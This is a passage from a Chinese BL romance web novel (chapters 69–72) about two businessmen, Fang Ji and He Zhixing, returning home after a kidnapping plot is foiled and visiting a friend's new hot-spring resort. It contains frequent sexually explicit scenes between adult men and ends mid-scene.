他抓住方霁不老实的脚,短短两个字里多了几分危险和低沉,“别闹。” 他当然有办法让方霁真下不来床,但这种事做多了伤身,不宜轻易尝试。 方霁听出他语气中的微妙变化,视线下敛,错愕地问:“你这么不经撩拨?”旋即捧着肚子一阵发笑。 贺知行再过几年就要变成别人口中的“老男人”了,在这方面的反应竟然青涩到还不如人家初高中生。 贺知行板着张脸,看着笑得前仰后合的人,认真道:“仅限对你。” 方霁好不容易收住笑,想了想,认识的这十一年,除去中间他出国的一年两人无法见面,确实没见过和听过他对谁产生感情上的兴趣。 贺知行的长相摆在那,曾经自然有过异性大着胆子上来追求他,无一例外都遭到了拒绝。 那冷漠无情的模样,不知道的还以为是个性/冷淡,要不就是有什么不可告人的隐疾。 方霁却亲身验过货,大,持久。 爽是真的爽,但要命,得限速。 “披着人皮的狼。”方霁嘲道。 贺知行故意拿他昨晚说过的话来耍流氓:“还要再来?” 方霁往他胸口不轻不重地踹了一脚,笑骂道:“去你的,你见过只付一次门票钱,第二天继续来玩游乐设施的吗?” 虽然他今天没有事情要做,但也不想真在床上荒废度过。 “自己想办法解决,实在不行浴室还有冷水。”方大人只管放火,不管善后。 贺知行默默承受下所有的火气,最后提醒道:“马上六点了,要吃点东西吗?” 贺知行口中的六点不是早上六点,而是傍晚六点。快一整天没吃东西,睡着的时候不觉什么,但这会就开始感到胃部隐隐作痛了。 方霁没跟他客气,理所当然地提出要求:“我要吃白米饭,不要面食跟汉堡。” 贺知行说好,“出去吃还是我一会顺路给你带回来?” “出去吃吧。”方霁也从床上下来,去找自己的衣服裤子,“躺的够久了,活动一下。” 第69章 第 69 章 他们这一觉真的睡得很久, 似乎将最近这段时间欠下的觉都补了上来。 七年过去,S国有不少地方都进行了翻新,唯有某些经典地标和高大建筑依旧屹立不绝, 烙刻着岁月长卷的记忆。 方霁到底在这里生活过一年, 脑海里还保留着不少清晰的坐标。 他吃不惯当地居民的饮食,拉着贺知行去了一条唐人街, 这里过去有着一家由一对华人夫妇经营的小餐馆。 他们过来的时候很幸运, 店面尚未随着时间的洪流被取代。方霁拉着贺知行进去, 味蕾在熟悉的菜肴中得到慰藉,满足感油然而生。 从餐馆出来, 两人沿着附近的街道逛了一圈,在快十点时到药店买了消肿和活血化瘀的药回去。 三日后, 两人订的同一班飞机票回国, 座位并排相邻。 贺知行这几天除了陪方霁在S国四处感受不一样的风土人情, 同时了解了关于杨氨那件事的详细经过。 先是车辆被强行截停, 接着又是绑架、开枪, 这三件事无论哪一个单挑出来,都是小说级别的存在。 “你事先有思考过杨氨会做出这些吗?” 国外不像国内对枪械管控严格, 方霁此行真可谓是单枪匹马过来的, 出事的时候除了时臻潭在身边,再没有第三个人。 他认识中的方霁, 不像是会冒失莽撞、做毫无把握之事的人。 方霁沉默片刻,他清楚贺知行话里的另一层顾虑,而这些他之前就猜到了。 “其实我知道杨氨会主动找上来, 因为我到S国的消息还是我故意透露给他的。” 杨氨说派了人盯着他, 殊不知时臻潭早就查明了这一点,最后反被他们所用, 让他放松对他们的警惕心,来一招引蛇出洞。 杨氨是一个自负又心浮气躁的人,过去还在他手下办事时便有迹可循。倘若发现了他即将采取行动对付他,绝对不可能被动地坐以待毙。 “他跟了我六年,表面上人模人样,但他究竟是个什么东西我简直太熟悉了。尤其发生挪用公司资金那件事后,更加让我确定了他的真面目。” 他本来以为提高员工福利待遇,严苛遵守劳动法行事,公司的员工就算不是对公司毫无怨气,至少也会顾念着昔日情谊,不会轻易做出背叛之事。 而他就是抱着这种天真和期待,一次次相信了杨氨,结果却养虎为患。 先是杨氨,再是赵平,接连两件事让他认清人性贪心不足的本质。 “时臻潭告诉我他有走私行为,但他在这件事上十分谨慎,我们这边尚且没有掌握足够的证据。我想要是他真通过绑架的方式来跟我见面,肯定不会选在我们已经查到的地方,那样太容易暴露位置,最有可能的就是他进行走私交易的地方。” 尽管有不少赌的成分在里边,但事实表明运气的天秤偏向了他们。 前几天杨氨安置他的那个地下仓库,事后警方进行搜寻,发现了大量弹药和枪支,远远超出法定限度。 当时地表上还有一些杨氨雇佣来负责看守的人,由于是金钱关系,犯不着真将自己的身家性命搭进去,一见了警察,根本不需要严刑逼供,就立刻将知情的内容交代了干净以换自保。 “那你有没有想过,要是中间有任何一个环节出了问题,你搭上的就是自己的命。” 贺知行望着方霁,瞳孔深处泛起明显的后怕和不安。 对付杨氨的办法绝对不止一种,方霁却选择了最剑走偏锋的。 “为了对付这样一个人,真的值得吗?”贺知行严肃问道,似乎难以理解。 方霁对上他的视线,心脏仿佛蓦然被人揪了一下似的,一时语塞,全然没了刚才分析时的冷静和从容。 他知道贺知行这回是真生气了。 贺知行这个人就犹如一道冰川下的暗流,外表冷漠至极,却永远不会真正凝结成冰。 他的冷静和理智,几乎达到了令人畏惧的地步,看起来不像自然法则铸就的正常生物,反而更接近于精密计算的机械产物,每一个动作、每个决定都透露着不容置疑的逻辑性。 好似无论发生多大的事,就算是山崩地裂、世界末日,他也能表现得跟个没事人一样。 方霁却在他脸上见到过太多次情绪波澜与失控。 印象最深刻的一次是在乌什湾村,接着就是他出现应激反应那次。 口舌上的激烈争吵对于解决问题没有半点作用,贺知行的怒意从不在言语或面部表情上显露,它深埋心底,如同死火山下的岩浆,并不活跃,但不等同于无。 方霁承认他事先谋划了许多,设想了各种可能性,却唯独低估了杨氨同归于尽的勇气,没料到他在最后一刻会开枪。 当然,他最没想到的还是贺知行的出现。 “你认识我这么久,应该不会不清楚我的性格。” 方霁深吸一口气,缓缓道:“我这人小心眼、记仇、不肯吃亏,杨氨做出的事情足够我记恨他一辈子。如果活着的时候不能将他绳之以法,我就是做鬼,到了阴曹地府,也绝对不会放过他。” 贺知行并不反对和批判他的报仇行为,相反,若是方霁愿意接受,他同样可以倾尽所能帮忙。 但他见不得方霁受伤,见不得他将自己置身于危险之中。 “如果是六个月前,你问我值不值得,我会肯定地告诉你‘值得’,如果是半个月前,你问我这个问题,我或许会在两个答案之间有所犹豫。” 方霁看着他,一双桃花眼澄净如山涧中悠悠的泉,却又浮出几分坚韧,“但如果你是想听我现在是怎么想的,那么我可以告诉你,非常不值。” 甚至是后悔差点将贺知行牵连进来。 当一个人了无牵挂,那么苍茫天地间的一切繁华喧嚣,不过浮云掠影,可随时舍弃。 当一个人有了牵挂,那份依恋便会生长成根深蒂固的情愫,编织成无法割舍的纽带。 “为什么?”贺知行顺着他的话问。 或许他的心底是有一份猜测的,只是面对方霁,他总是缺乏去确定答案的勇气,正如这横距十一年的喜欢。 方霁明白他想听什么,低眸轻笑道:“大概是知道有个家伙将我当做了一块冰,含在嘴里怕化了,捧在手心怕摔了。要是我再有个什么好歹,他估计会半夜躲在被窝里偷偷哭鼻子。” “放心好了,我说过我很惜命的,不会再有第二次。” 贺知行闻言轻轻皱了下眉,对此表示严重怀疑。 方霁很早之前就对他说了自己惜命,结果不还是为了促成一项合同,出去应酬喝得伶仃大醉。 方霁看出他眼底的怀疑,觉得这个话题再探讨下去就该变得危险了,轻咳一声转而道:“我记得你那栋小别墅离机场挺近的,贺大总裁今天能不能大发慈悲,下飞机后收养我这个落魄户一晚?” 贺知行听出他是在转移话题,尽管无可奈何,但也只能将此事翻页。 他正准备开口,方霁凑了过来,用仅他一人听见的声量道:“作为报酬,这次我可以自己动手扩。” 贺知行眸光一顿,宛若被定住的木头人般,全身上下失去了行动指令,久久未能回神。 方霁瞧见他耳尖上渐渐蔓延的绯红,不由得心生笑意,暗忖有时候调戏贺知行还挺有意思的,算是给枯燥的生活增添一点乐趣。 飞机上开了空调,方霁撩拨完人,拿了一件外套盖在身上,随后调整为一个较为舒适的姿势,闭上双眼准备休息,徒留某位总裁的亲兄弟独自在一旁“兴奋”。 贺知行目光灼灼地盯着他,好一会才终于勉强挪开视线- 随着杨氨被依法遣返,方霁的法律顾问倾力接手案件后续事宜,两人串联起先前搜集的所有证据,逐一提交法院,剩下的只需要耐心等候判决结果。 某日临睡前,无意间瞥见手机屏幕显示的日历,方霁这才惊觉再过两天就是跟甄均约定好的时间。 他答应了会去参加温泉度假村的开业。 正式开业这日,碧空万里,暖阳洒落林梢,斑驳陆离的光影交织于地面,形成一副天然画卷。 方霁白天公务缠身,所以只能下班后再过来帮忙捧场,上午的剪彩仪式自然是赶不上了,为此他提前给甄均发了消息进行解释。 “没事,正好晚上泡温泉更舒服,也可以放松一下方哥你劳累了一天的身体。” “一定要记得来啊,我特意给你备了红酒~” 方霁感觉甄均现在的说话方式越来越肉麻了,光是这么两句不到二十秒的语音,就听得他起了一身鸡皮疙瘩。 温泉度假村建在山脉的怀抱之中,选址独特,利用地理优势和人类智慧共同打造。 沿着蜿蜒曲折的山路盘旋而上,翠绿浓荫间,隐约可见一片古韵悠悠的建筑群落。木质结构与石砌墙体相得益彰,散发着原始淳朴与精致艺术的双重韵味。 橘红色的晚霞在远方天边绽放,温柔覆盖万物,从距离目的地五百米的位置开始,道路两侧就有序地安装了指引灯。 方霁依据导航抵达对应位置,甫下车息,紧接而来一辆黑车映入眼帘。 方霁站着的位置只能看到车屁股,驾驶座上坐着的是谁瞧不见,却觉得这串车牌号和车型都有些眼熟。 不出三秒,他就在心底有了定论。 果不其然,贺知行迈着一双长腿从车上下来。褪去平日肃穆的正装,换上日常服装,依然散发着疏离冷峻的气息,但略减凌厉。 他的腕间佩戴着一块手表,与此前的款式不同,崭新的。 方霁却在看到那块手表时一愣,陷入短暂的不解。 如果他没有记错,这个款式的手表他也有一块,不常戴,却印象极深,正是蓝书柳上次托贺知行转带给他的礼物。 为什么贺知行也有? 是他事后又买了同款,还是当初阿姨挑选了两块? 贺知行朝这边走来,方霁道:“你怎么会过来?” “今天不是正式开业吗?”贺知行顶着张不苟言笑的脸,风轻云淡道:“我来泡温泉。” 方霁无语地呵呵了一声,“这话说出来你自己信吗?” 第70章 第 70 章 方霁都不用猜, 贺知行绝对是那晚听到他打电话的内容仍旧心有芥蒂,所有特意追来的。 从国内追到国外,现在回来了又继续, 方霁就没见过像贺知行心胸这么狭窄的人。 除此之外, 他到现在还忍着一股昨晚遗留下的火气。 从S国回来的后面几天里,他一直是住在贺知行家里。本来他只想住一晚就走, 毕竟以贺知行那不经撩拨的永动机, 要是他们真同居了, 无异于自投罗网,第一个受不了的绝对是他。 可事实上他住了有四天, 家里的洗衣机都快因为超负荷运转罢工。 谁说做0不累的,做0可太累了!尤其是当1还半天不出来的时候, 次数上的差异真能要人命。 方霁想, 今后谁要是再站着说话不腰疼, 说0只是躺着享受, 他高低得上去赏对方一丈红。 第五天, 他实在吃不消了,趁着贺知行出去买早餐和新的消肿药, 利落收拾完行李打车回家。 其实他挺庆幸自己的当机立断, 因为他前脚刚坐上出租车,和师傅报完地址, 下一秒就看到贺知行提着东西出现在了小别墅门前。 本以为不住在一起后就能歇口气,晚上好好睡一觉,但他忘了另一件事:贺总的贴身内裤。 这段时间以来, 他还是会每晚穿到贺知行的贴身内裤上去。 当然, 除了对方不穿内裤的时候,就没有前面的“贴身”属性了。 但这样的时间很短暂, 一般只有洗澡的时候,其余时间贺知行不可能真挂空挡。哪怕是一个人在家里,良好的家庭教养还是会令他往身上套个睡衣或者浴袍。 他才从小别墅离开不到二十四小时,当天晚上,也就是昨晚,某贺姓总裁又和他的五指来了一场亲密邂逅,并邀请了并不愿意加入其中的内裤。 方霁正是那个倒霉的后者。 以前他以为“夜/欲七次”是夸张的说法,现在来看,还是太保守了。 贺知行绝对是有性//瘾在身上的。 贺知行听见他的质问,脸不红心不跳地坦然道:“不信。” 他来这里的真实目的当然不是为了泡温泉,这一点两人都心知肚明,所以没有再去掩饰或者辩解的必要。 方霁深深吸了一口气又呼出,仿佛所有的无奈都随着气息弥散在空气中。 他不想再去过分追究贺知行的粘人行为,或许这就是谈了恋爱后每个人必经的流程,也就是人们口中所谓的“热恋期”,哪怕是贺知行这种冰山型人格亦不能幸免。 可能等再过一段时间,这股劲淡下来,贺执行就不会盯得那么紧了。 既然已经来了,他也不可能再将人赶走。 “一会进去别乱说话,不知道怎么回就闭嘴,点头微笑,看我脸色行事。”方霁从车辆后备箱取出事先准备好的礼物下来。 好在他备了多份,能够将其中一份拿过来给贺知行装装样子。 今天毕竟是人家的开业日,中国传统文化中向来注重在大喜日子以送礼的方式表达美好祝福和良好意愿,总不能真空着手进去。 只是等他转过身,注意到贺知行竟然已经备了一份礼物。 方霁的视线落在那个不到巴掌大小的纸袋上,眼底浮出一抹怀疑:“你这里面装的该不会是砒霜或者手榴弹吧?” 他还记得两人不对付的事情,贺知行一直将甄均臆想为自己的情敌,所以介意甄均的存在,这一点方霁能够理解。 至于甄均为什么会那么讨厌贺知行,方霁尚且无法完全确定,只好姑且视为“你讨厌我,那我也不要喜欢你”的幼稚行为。 说实话,甄均虽然生理上已经是个成年人了,但方霁估计他心理上的实际年龄连十五岁都不到。 贺知行直接告诉了他里面装的东西,“车钥匙。” “你要送甄均一辆车?”方霁面色一怔,带着惊诧的神情又往那个纸袋扫了一眼,“送的什么车?” “五菱宏光还是三轮车?” 贺知行道:“跑车。” 方霁:“……” 真不怪方霁这么惊讶,实在是这两人无亲无故,私下没有任何联系,此前还斗得恨不能将对方天灵盖给掀了。 现在贺知行突然说要给对方送一辆跑车,就如同你的导师写了一篇高水准学术论文发在SCI上,但一作是你的名字。 “为什么想到送这个?” 方霁估计这辆跑车就算没个千万,也是百万级别的。 这家伙真是钱多得没处花吗? “他是你弟。”贺知行下一秒道。 方霁是独生子女,父母在他刚上高中没多久就和平离婚了,并且双方今后大概率都不会再重新组建家庭,所以从逻辑链上来讲,方霁不会有存在血缘关系的兄弟姐妹,而甄均则是他唯一称作弟弟的人。 以方霁重情重义的性格,虽然嘴上不说,但心底肯定很珍视跟甄均之间的情谊。 如果他真的和甄均将关系闹得太僵硬,方霁夹在中间肯定不好受,好比儿子夹在媳妇与母亲之间。 “我也可以将他视作弟弟来对待。” 话都说到这个份上了,方霁不可能听不出贺知行是什么意思。 “你还挺会提升自己的地位。” 他那句话,换个意思不就是要当甄均的“哥夫”。 方霁合上后备箱,拿着礼物往里走,无情打击道:“可惜你这算盘打错了,我国婚姻法中不接受同性领证。”- 今天是温泉度假村开张的第一天,得益于宣传和福利活动,已经有不少游客前来这里进行消费体验。 大门口还留着上午开业剪彩时装饰的彩带,地面散落的爆竹残骸仍能依稀嗅到一股淡淡的硫磺香。 方霁和贺知行从大门口进去,虽说是个中小型温泉度假村,但实际上地方看起来不算太小,对于第一次来这儿的人仍旧有迷路的可能。 【甄均:方哥你到了吗?现在人有点多,我怕你找不着位置,到了的话发消息给我,我出来接你。】 方霁收到了甄均给他发来的消息。 【方霁:我已经进来了,你要是忙的话可以先不用管我。】 甄均手上捏着手机,一边往外走一边打字回复。 【甄均:有空,是方哥的话怎么都有空。等我两分钟,我马上过来找你。】 方霁回了个“好”给他,扭头对一旁的贺知行道:“我们在这等一会吧,一会甄均过来领我们进去。” 贺知行点头。 “记住不要乱说话。”方霁再次提醒道,觉得这话听起来可能没什么威慑力,又在末尾补充了一句。 “否则接下来一周亲也不行。” 他的手上没有什么可以作为把柄拿捏贺知行的事,此前是微信上的拉黑功能,现在倒是多了个好使的。 贺知行是上面那个又怎么样? 到了床上,还不是要听他的。 只要他说不让亲,不给做,贺知行就算是临近爆炸边缘也得给他忍着。 甄均很快找到他们,在看清方霁身边还站着另外一个人后皱了下眉。 方霁瞧见他,率先以轻松的口吻道:“我多带了一个人来,你会介意吗?” 方霁都这样说了,甄均就算再怎么看贺知行不顺眼,哪里还敢介意。 他迅速整理好神情,扯出一个标准的职业性假笑:“怎么会,贺总愿意纡尊降贵过来是我的荣幸,只要他不嫌我这儿庙小,容不下他这尊大佛就行。” 甄均话是对着方霁说的,却对准贺知行投去审视的目光,如同草原上两大强者相遇,空气中隐隐荡漾着挑战与较量的火花。 贺知行谨记着方霁的话,此刻仿若磐石般屹立,沉默寡言,对他的挑衅一律视若无睹。 方霁唇角弯了弯,勾着轻浅的笑,替贺知行回答道:“那就好,他不敢嫌弃的。”话落,他递上礼物,巧妙地切换了话题。 “一点小心意,算是祝贺开业大吉。” 甄均表现得受宠若惊,道出那句经典话术,“人来了就行,还带什么礼物。” 旋即接过礼物,“谢谢方哥。” “……怎么是两份?”甄均看清礼物的数量。 方霁看向身边的人,道:“还有一份是他的,你不正好喜欢跑车吗?” 甄均听到是贺知行送的时脸色马上变了,但又捕捉到后面的“跑车”二字,最终一咬牙道:“谢谢贺总。” “下次礼物来了就行,人不用到。” 一个是“贺总”,一个是“方哥”,光从称呼上的差异就能听出其中的亲疏之别。 方霁对他最后一句话忍俊不禁,道:“今年最新款,你应该会喜欢。” 甄均哼哼了两声,“方哥,我们先进去吧,这里人来人往的,不是说话的好地儿。” “行。” 往里走的间隙,方霁便随口问起他怎么突然想起来投资旅游行业,还专门弄了这么个地方。 “就是觉得自己年龄到了,也该学习一点经营技巧,提前攒攒今后的养老金。” “上次打电话的时候你说是两个月前投资的项目,到现在大概也才三个月,这么快就建成了这个地方,会不会有什么问题?”方霁忍不住担忧道。 他很乐意看到甄均改变过去不思进取的态度,但还是有些不放心,是真的怕他初入社会太过单纯,被谁骗了去。 路上他就打量过整个温泉度假村的设计,许多细节方面都能做到精益求精,看得出是花了不少心思在上边。可居然只耗费了三个月,未免有些太快,别不是豆腐渣工程。 甄均耐心向他解释道:“这里之前就是一个旅游景点,只不过废弃了。很多设计都是利用此前现成的,我只是接手后进行了二次开发和修整而已。” 方霁问:“你那个合资对象是谁?” 甄均面对这个问题时,神情却略显闪躲,没有说出那人的名字,含糊不清道:“就一朋友。” 70-76 第71章 第 71 章 “到了。”甄均指着面前的木制风屋子, 道:“要是想泡温泉的话,这里就是更衣室,换完衣服沿着通道往后走就可以进入温泉区。” “一般来说是需要提前预约的, 好给里面留足时间进行全面清理和安排, 但今天是第一天,所有东西都是崭新的。” “我还专门给方哥你留了个地。”甄均说到最后一句颇有些邀功的得意。 方霁顺着他指的方向看去, 确实挺有模有样的, 并不吝啬自己的夸赞。 就在甄均带着他们进行参观和讲解时, 方霁瞥见一道有些熟悉的身影从他们侧方经过。 起初以为是认错了人,直至对方沿着长廊绕到他们身后, 主动朝这边走来,方霁这才完全确认对方的身份, 面上划过一抹意外。 裴青川在看到贺知行跟方霁两人时也是一愣, 他还以为跟在甄均身边的是普通游客, 没想到都是熟人, 但多年的随机应变能力还是令他很快接受了这场巧遇。 “没想到世界这么小, 竟然能在这遇到方总跟知行。” 贺知行向他礼貌性微笑、点头,算是打招呼。 “是挺巧的。”方霁伸出手与对方握住, “裴总也是过来泡温泉的吗?” “有这个原因在里边。”裴青川不失风度地笑道, 却没再往下说另外的原因,而是迅速扫了一眼对面的甄均。 “看方总跟小甄聊天的样子, 是之前就认识吗?” 他还是头一回见到甄均对一个人露出这种乖巧又讨好的神情,与平日在他面前张牙舞爪的模样判若两人。 可惜,不管再怎么装, 内里本质依旧是一头披着羊皮的小畜生。 甄均在听到裴青川对自己的称呼时怔了怔, 忍不住腹诽起来:第一次叫他“小甄”就叫得这么熟练亲昵,过去怕是没少这样叫其他人吧。 “嗯, 认识好几年了。”方霁察觉出两人之间的微妙气氛。 甄均跟在后面对裴青川道:“他就是我之前跟你提过的方哥,我邀请了他今天过来泡温泉。” 裴青川道了一句“原来如此”。 甄均之前确实跟他提起过自己有一个名义上的哥哥,虽然没有血缘关系,关系却很好,但当时甄均只说了对方姓方。 这世界上方姓的人多了去,未必就是方霁,他便没将两人联系到一块去。 “我刚刚去了一趟A区,那边的道路设计还需要再调整一下,光是今天上午,就已经有三名游客向工作人员进行反应。” 甄均点头:“好,我一会联系人先在那里放上警示牌,晚点再好好想想怎么解决。” “对了,你吃晚饭了吗?经理说用餐的时候没看到你出现。” 方霁就在对面听着两人的交流,言语间丝毫没有陌生疏离的感觉,不像是才认识的样子。 另外裴青川会出现在这里,他总觉得不单纯是巧合这么简单。 这样八竿子打不着的两个人,究竟是怎么认识上的? 方霁不由得想起他从西北地区结束出差回来的时候,有一天甄均过来找他,问起过关于裴青川的事,但他那个时候没有去细想- “喏,好在我怕今天太忙没时间去吃饭,特意买了不少面包。”甄均将一个白色纸袋拿过来,递给他,“你看看里面有没有你喜欢吃的,先垫垫肚子。” “这么不爱惜自己的身体,我会心疼的。” 对面的男人没接,抬起眼皮,一双丹凤眼中看不出情绪波澜:“你这些话拿去对十几二十岁的小姑娘、小男生说或许还有些用。” “我不喜欢小姑娘,也不喜欢小男生。”甄均根据印象和过往观察,一边翻找裴青川可能会喜欢的面包种类,一边道:“我就喜欢你这种三十几岁还貌美如花又会疼人的。” “疼人?”裴青川的神色瞬息万变,方才对待他人的礼貌与优雅尽数消失不见,取而代之的是一个截然不同的面貌。 他嘴角勾勒出一抹玩味的笑:“如果你是指我用鞭子的事,我倒是很乐意接受这个标签。” 甄均回忆起前两天晚上的事,皮鞭落下的印记尚未完全消退,此刻仿佛又被唤醒,皮肤上传来阵阵刺痛交织着莫名的激动。 他有时候觉得裴青川这人挺变态的,或许是表面上太过恪守成规,长久以来的压抑造就了扭曲的嗜好,所以私下才会特别爱抽人。 而他刚好成为了那个供他发泄的倒霉蛋。 不过裴青川穿女装是真他妈带感啊,尤其是黑色款的。 丝质的布料贴合身体曲线,将每一寸肌肤都裹挟其中,凸显出他修长而紧致的小腿线条。边缘处刻意收紧的设计,更是巧妙地点缀出饱满的肉质感,让人无法忽视。 两条细细的丝带连接着腿/根部位,压根起不到多少遮挡作用,臀/部全然暴露在外,黑白分明,构成一幅极具色/气的画面,令人血脉/喷/张。 他就没见过哪个男人能这么白。手握皮鞭,目光犀利如鹰隼俯瞰猎物,那威严与妩媚并存的姿态叫他又爱又恨,难以抗拒。 给艹的时候依然和刚认识那会一样爽快,不会讨价还价或者有任何别扭,值了。 甄均想着想着,呼吸渐渐变得粗重。 裴青川听出他气息上的变化,往对方□□的位置瞟了下,眉毛轻轻扬起,语气鄙夷道:“小畜生这是又欠抽了?” “别这样,我身上疼是小事,要是累了你的手可怎么办。”甄均瞅准时机,往他脸上快速香了一口:“再说,我还不是凭着这些低劣把戏,让你和我这个小畜生搞在了一起。” “最开始可是你先找上我的,这辈子就算是死也得跟我绑在一起。” 裴青川冷冷地睨了他一眼,没有反驳他的话,而是转身出门了。 甄均瞧见,忙不迭提着纸袋追上去:“嗳,别走啊,面包还没吃呢。” “我错了!好歹吃一口吧!” …… 甄均给两人安排了单独的温泉池,不过这个“单独”不仅仅指不会有其他人过来打扰,同时也将他们给分开了。 方霁对着指引地图判断了下两人的位置,一个在最南边,一个在最北边,意识到甄均这么做的目的后哑然失笑。 “看来只送一辆跑车还不行啊。” 方霁将另一块手牌递给他,“不过好在不是东西。” “去吧贺总,好好享受你的温泉之旅。” 贺知行的脸色不太好看,方霁却拒绝接收他传递过来的情绪,拿着自己的手牌往另一个方向走。 此时的温泉区被一层薄雾缭绕,仙气弥漫,犹如梦境之地。 空中弥漫着淡淡的草木芬芳,让人心旷神怡。方霁在更衣室换好了衣服,缓步来到温泉前,一股暖意顿时包裹全身。 脱下浴袍,浑身赤裸触碰到温热的泉水,刹那间全身毛孔舒展开来,所有的劳累与压力好似都随着水流缓缓消散。 他的轮廓在水雾之下变得柔和,表情慵懒而满足,散发出不同于平日的闲适。 啪嗒。 刚享受了不到十五分钟,身后传来一道落叶被踩碎的细微声响。 方霁睁开眼,脖子微微后仰,枕在泉池边缘看清来人,却并未露出太多意外的神情。 “说吧,这次又编的什么理由。”他转过了身,改为趴在手臂上,像一只餍足的猫,轻飘飘道:“不够有说服力的话我这里不留人。” 贺知行同样换上了浴袍,姣好的身材透过中间那道敞开的缝隙若隐若现,六块腹肌如刀割般分明,间隔有序排列。 “我那边有人了。”贺知行道。 方霁挑了挑眉,显然一副不信的样子。 别的不说,他真挺佩服贺知行这种即便说谎都能不将心虚显于面上的能力。 他“哦”了一声,“我这边也有人了,你没看到吗?” 贺知行沉默片刻:“需要我帮你吗?” 方霁似笑非笑,反问:“你能帮我什么?” “捶背、按摩,你希望的都可以。” 方霁勾起唇角,眼中戏谑与温柔交织,让人琢磨不透他的心思。他朝贺知行招手:“过来,别离那么远。” 贺知行走到了温泉池旁边。 “蹲下。” 贺知行没有询问缘由,闻言依旧照做。 方霁伸出一只手,指尖尚挂着几滴晶莹的水珠。手臂环上贺知行的脖颈,湿润的触感令后者颈后的乌黑发丝也被沾湿了一片,丝丝缕缕紧贴肌肤。 他将人拉过,缩短两人之间的距离,“给你个奖励。” 贺知行眸光微动,隐隐觉察到什么,随即放低了自己的身体,以一种近乎顺从的态度迎合对方的动作。 方霁看穿这一点,笑容愈发浓郁,下一秒,仰起脸庞,用那柔软的双唇覆盖住了贺知行微凉的唇瓣。 一个纠缠至极且漫长的吻,呼吸可闻,心跳共鸣,似乎有电流般的东西在体内悄然流动。 “这是奖励你今天听话,没有乱开口说出不合时宜的内容。”方霁放开他,意犹未尽地舔了舔嘴唇,仿佛真的捕捉到了一丝甘美的味道。 贺知行的眼神未曾离开过方霁,包括他最后的回味。 周围的暖黄色灯光拂过方霁立体分明的五官,恍若为他镀上了一层朦胧而神秘的金边。 在泉水的滋润与光线的双重烘托下,他的身体表面呈现出莹润光泽,每一道肌理线条都在光影交错间展现出极致的美感。 贺知行觉得方霁较一个月之前变了许多,不知道是因为脱敏治疗起了效果,让他从心理障碍的折磨中解脱出来,得以展现真正的自我,还是因为他们的关系发生了改变。 但即便是这样的方霁,仍旧是他心中喜欢的那个人,这一点始终不会改变。 方霁见他一直目光灼灼地盯着自己看,到底脸皮尚在,后知后觉感到些许尴尬,直至不经意间撞见对方的变化。 “贺总,你是变/态吗?”方霁瞳孔中闪过一丝错愕与不解,然而这份惊讶并未停留太久,便被一记淡然的笑声所取代。 “现在居然只是接个吻就(石更)了。” 没有人会不乐意自己喜欢的人同样深爱着自己,就连对方身体产生的变化,都仿若一种表达浓厚情谊的方式。 贺知行望着他,努力维持外表镇定,眼底深处却泄露了真相。那里燃烧着炽烈火焰,饱含着苦苦压抑且愈发强烈的欲/望。 方霁对上男人克制的视线,身上莫名跟着燥/热起来。 真是因为做多了不成? 他如今都不需要去猜,就知道对方想要什么。 “要上来吗?”贺知行的嗓音里透着不易察觉的沙哑,试图找回平日的冷静自持。 说出来的话却截然相反,暗示与引/诱的意味尽显。 “这里可以开房间休息。” 第72章 第 72 章 开房间真的只是为了休息吗? 方霁觉得贺知行后面加的“休息”二字很值得质疑。这种话拿去骗骗三岁小孩还差不多, 对他说,是真当他傻的么? “不要。”方霁不假思索地道,转过了身靠在池缘, 舒服得阖上了双眼:“这才下来多久, 我还没泡够。” “要休息你自己去,出门左拐好走不送。” 他可不像贺知行是带着不纯的目的过来, 他就单纯地想恭贺甄均开业大吉, 顺便再泡个舒舒服服的温泉, 缓解一下这段时间以来的疲劳。 白天上班已经够累了,晚上再让他加夜班, 简直不是人。 封建大地主都没这么会剥削。 贺知行就蹲在方霁身后,这个角度, 稍一低头, 便能将方霁身前的风光一览无余。 方霁背对他, 脊梁笔直, 皮肤在温泉水的呵护下更显光滑细腻, 呈现出健康而诱人的色泽。脖颈纤尘不染,性感的喉结随着言语声轻轻起伏, 唇刚接过吻, 湿润而红艳。 贺知行的目光顺着他的颈线下滑。池水中,那双长腿悠然舒展, 水面波动轻拂而过,似乎令其看起来更白了,与四周荡漾的涟漪相互呼应。 方霁在床上时可谓非常包容伴侣, 甚至到了纵/容的地方。 贺知行过去对此没有太多概念, 如今却是有了切身体会。 只要不是在平日穿衣服会露出来的地方,不管是亲还是咬, 他都不会阻拦,哪怕有时没控制好力道,疼得他生理性眼泪都出来了,他最多也只是嘴上骂几句,造不成任何伤害。 方霁是敏/感型的易留印体质,身上东西没那么快消失,现在胸口和肩膀上还留着或深或浅、大小不一的印子。 兴许是这里没有其他人,贺知行并不涵盖在“外人”的范围内,方霁对于这些痕迹暴露在空气中表现得丝毫不在意。 “不过……”半晌,觉察到身后的家伙依旧没有离开,方霁看似随意地悠悠道:“要是你今晚可以不穿内裤睡觉的话,我倒是可以用另外一种方式帮你解决出来。” 贺知行:“?” 话音落下良久,没有听到回应。 “不要?嫌弃的话那就算了,反正我也没有爱帮人做这种事的癖好。” “对你不会有嫌弃。”贺知行大概猜到了方霁要用什么方式,眼神变得晦涩,道:“但我不希望你觉得委屈。” 而且方霁的嘴…… 要想做到这件事并不轻松。 “委不委屈可不是你说了算的。”方霁转回身,态度强硬道:“趁着我反悔之前动作麻利点。” 他一直觉得不管是帮人kou还是被kou的一方,都挺脏的,心理上的洁癖都令他不能接受这一点。但如果对方是贺知行的话,他倒是可以勉为其难破一次例。 绝对不是因为什么情至深,爱之切,而是他下面还(月中)着,今晚想睡个好觉。 以他方才的观察来看,要是就这么放贺知行离开了,他肯定又会自己去用手做那种变态行为。 在方霁的勒令下,贺知行坐在了温泉池边缘。方霁的身体卡入他腿间,抬起湿漉漉的双臂,手指摸上那条深蓝色棉质内裤边缘。 此前都是贺知行脱他内裤,由他来脱贺知行的内裤还是头一回。 怎么说呢,有点难为情,还有……色。 真要细究起来,他的许多第一次都给了面前这个男人,包括但不限于第一次牵手、第一次表白、第一次春/梦、第一次接吻、第一次上/床…… 他这辈子或许就得在这条路上打破沙锅走到底,没有回头重来的机会。 要是贺知行今后胆敢移情别恋或者提出分开,就算闹个鱼死网破的结局,他也一定亲自手刃了贺知行送他上黄泉路。 …… 方霁紧张地吞咽了一下。这玩意肯定是没法完全吞/吃下去的,但如果只是伺候上面的话,应该不成问题。 “事先说好,仅此一次。”他抬起眼皮,发现贺知行同样注视着他,喘着粗气,那张高冷的脸此刻情/欲浓重。 “还有一会你不许动手。” 贺知行应了他的话,一错不错地盯着他,像是要将他的模样深深烙印进脑海中。 